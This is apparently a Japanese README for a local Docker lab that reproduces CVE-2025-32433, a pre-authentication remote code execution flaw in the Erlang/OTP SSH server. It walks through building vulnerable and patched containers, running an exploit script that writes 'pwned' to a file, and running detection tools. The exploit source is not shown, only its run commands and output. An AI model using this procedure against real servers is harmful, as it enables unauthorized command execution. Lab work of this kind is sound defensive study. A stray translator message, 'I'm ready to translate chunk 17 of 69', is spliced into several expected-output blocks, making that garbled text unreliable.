
Erlang/OTP SSHサーバーにおけるSSHプロトコルのメッセージ処理の欠陥により、悪意のある攻撃者が有効な認証情報なしで影響を受けるシステムへ不正アクセスし、任意のコマンドを実行する可能性があります
✅ 認証前RCEを確認 — エクスプロイトの実証に成功しました。
📄 技術ブログ (PDF):CVE-2025-32433-Technical-Blog.pdf
📸 視覚的証拠:screenshots/
🔍 概念実証の詳細:docs/PROOF_OF_CONCEPT.md
CVE-2025-32433は、Erlang/OTP SSHデーモンにおけるCVSS 10.0 クリティカルな脆弱性です。 未認証の攻撃者がSSHチャネルを開き、認証を完了する前に任意のコマンドを実行できます — 認証情報は一切不要です。
このラボでは、脆弱性を再現し、エクスプロイトを実行し、検証し、検出メカニズムをテストするための、完全に動作する隔離された環境を提供します — すべてローカルマシン上で行えます。
開始する前に、以下がインストールされていることを確認してください:
| ツール | 最小バージョン | 確認コマンド |
|---|---|---|
| Docker Desktop | 4.x+ | docker --version |
| Docker Compose | v2.20+ | docker compose version |
| Python | 3.10+ | python --version |
また、検出スイートにはPythonのparamikoライブラリも必要です:
pip install paramiko
Docker Hub の
erlang:26.2.5イメージタグは、CVE-2025-32433 の公開後、パッチ適用済みの26.2.5.11リリースでサイレントに上書きされました。 Docker Hub から取得すると パッチ適用済みバージョンが手に入り、脆弱なバージョンは得られません。このラボの
lab/Dockerfileは、正規の脆弱なランタイムを保証するため、公式の Erlang GitHub リリース tarball から OTP 26.2.5 を直接コンパイルします。初回ビルドには約 10 分かかります。
┌──────────────────────────────────────────┐
│ Isolated Docker Bridge │
│ (cve-lab-bridge) │
└────┬────────────────────────────┬────────┘
│ │
┌───────────────┴─────────────┐┌─────────────┴──────────────┐
│ target_vulnerable ││ target_patched │
│ OTP 26.2.5 (source-built) ││ erlang:26.2.5.11 │
│ Host Port: 127.0.0.1:2222 ││ Host Port: 127.0.0.1:2223 │
└─────────────────────────────┘└─────────────────────────────┘
│
┌──────────────┴──────────────┐
│ attacker │
│ Python 3 + Scapy/Paramiko │
│ Workdir: /work │
└─────────────────────────────┘
| コンテナ | ポート | OTPバージョン | ステータス |
|---|---|---|---|
cve-2025-32433-vulnerable | 127.0.0.1:2222 | 26.2.5 (ERTS 14.2.5) | ❌ 脆弱 |
cve-2025-32433-patched | 127.0.0.1:2223 | 26.2.5.11 (ERTS 14.2.5.15) | ✅ 修正済み |
cve-2025-32433-attacker | 内部のみ | Python 3 ツール群 | 攻撃者ツールセット |
git clone https://github.com/damnkrishna/CVE-2025-32433-LAB.git
cd CVE-2025-32433-LAB
⏱️ 所要時間は約10分です — C ソースから Erlang/OTP 26.2.5 をコンパイルします。 これは想定どおりの動作です。中断しないでください。
docker compose build --no-cache target_vulnerable
make[1]: Leaving directory '/tmp/otp_src_26.2.5/lib/...' のようなコンパイラ出力が表示されます —
これは正常です。出力は次のように終わります:
✔ Image ine_cyber_assignment_job-target_vulnerable Built
docker compose build --no-cache target_patched
docker compose up -d target_vulnerable target_patched
docker compose ps
I'm ready to translate chunk 17 of 69. Please provide the source content you'd like me to translate.
NAME STATUS PORTS
cve-2025-32433-vulnerable Up (healthy) 127.0.0.1:2222->2222/tcp
cve-2025-32433-patched Up (healthy) 127.0.0.1:2223->2222/tcp
両方のコンテナが (healthy) と表示されてから続行してください。
コンテナが実際に OTP 26.2.5(修正済みバージョンではない)で動作していることを確認します:
docker exec cve-2025-32433-vulnerable cat /usr/local/otp/lib/erlang/releases/RELEASES
期待される出力 — .15 サフィックスなしで 14.2.5 を表示する必要があります:
[{release,"Erlang/OTP","26","14.2.5",
[{kernel,"9.2.4",...},
14.2.5.15 が表示される場合 — コンテナイメージが間違っています。--no-cache を付けて再ビルドしてください。
サーバーが標準的な認証を受け入れることを確認するため、正規のユーザーとして接続します:
ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p 2222 [email protected]
パスワードの入力を求められたら、次を入力します: LabPass2026!Secured
Erlang シェルが起動します:
Eshell V14.2.5 (press Ctrl+G to abort, type help(). for help)
1>
Erlang シェル内でいくつかのコマンドを試してみてください:
ls().
file:write_file("test.txt", "hello").
file:read_file("test.txt").
Erlang シェルを終了するには:
q().
エクスプロイトを実行する前に、2つ目の PowerShell ターミナルを開いてサーバーログを tail します:
Get-Content -Path .\logs\target_vulnerable\ssh.log -Wait -Tail 20
このターミナルは開いたままにしてください。接続イベントがリアルタイムで表示されます。
これは認証前リモートコード実行の概念実証です。 認証情報は使用されません。
cd attacker_work\exploit
python payload.py
I'm ready to translate chunk 17 of 69. Please provide the source content you'd like me to translate.
[*] Connecting to SSH server...
[+] Received banner: SSH-2.0-Erlang/5.1.4
[*] Sending SSH_MSG_KEXINIT...
[*] Sending SSH_MSG_CHANNEL_OPEN...
[*] Sending SSH_MSG_CHANNEL_REQUEST (pre-auth)...
[✓] Exploit sent! If the server is vulnerable, it should have written to /lab.txt.
[+] Received response: 000003d4...
バナーには SSH-2.0-Erlang/5.1.4(.15 サフィックスなし)が表示され、脆弱なサーバーに到達したことを確認する必要があります。
docker exec cve-2025-32433-vulnerable cat /lab.txt
I'm ready to translate chunk 17 of 69. Please provide the source content you'd like me to translate.
pwned
pwned が表示された場合 — CVE-2025-32433 の認証前 RCE が確認されたことになります。
このエクスプロイトは、認証情報を一切使わずにコンテナのファイルシステムへ書き込みを行いました。
ポート 2223 のパッチ適用済みコンテナに対して、同じエクスプロイトを実行します:
attacker_work\exploit\payload.py の 6 行目を編集します:
PORT = 2223 # change from 2222 to 2223
エクスプロイトを実行します:
python payload.py
次に、ファイルを確認します:
docker exec cve-2025-32433-patched cat /lab.txt
I'm ready to translate chunk 17 of 69. Please provide the source content you'd like me to translate.
cat: /lab.txt: No such file or directory
パッチ適用済みのコンテナは、認証されていないチャネルリクエストを拒否します。ファイルが書き込まれない = パッチ適用済み。
完了したら、payload.py のポートを 2222 に戻してください。
リポジトリのルートに戻ります:
cd ..\..
脆弱なターゲットをスキャンします:
python detection\detect_cve_2025_32433.py 127.0.0.1 2222
パッチ適用済みのターゲットをスキャンします:
python detection\detect_cve_2025_32433.py 127.0.0.1 2223
Erlang によって生成された予期しない子プロセス(例: RCE を示すシェルプロセス)について、コンテナのプロセステーブルを監視します:
python detection\host_process_monitor.py
実行したままにして、別のターミナルでエクスプロイトを実行します — 異常が検出されます。
停止するには Ctrl+C を押します。
すべての検出層を1つのコマンドで実行します:
python detection\run_all_detections.py
これにより、以下を網羅する完全な診断テーブルが生成されます:
Erlang SSHデーモンは構造化ログをディスクに書き込み、それがホストにマウントされます:
| コンテナ | ログファイル |
|---|---|
| 脆弱版 | ./logs/target_vulnerable/ssh.log |
| パッチ適用版 | ./logs/target_patched/ssh.log |
リアルタイムでの追跡:
Get-Content -Path .\logs\target_vulnerable\ssh.log -Wait -Tail 20
エクスプロイト後に注目すべき主要なログ行:
debug: Connection terminated. Unexpected message for unauthenticated user.
Message: [{ssh_msg_channel_open,...}]
notice: Accept failed on any:2222 for connect from 172.20.0.X:PORT: normal
脆弱なバージョンでは、チャネルリクエストはこのログエントリが書き込まれる前に実行されます。
docker compose down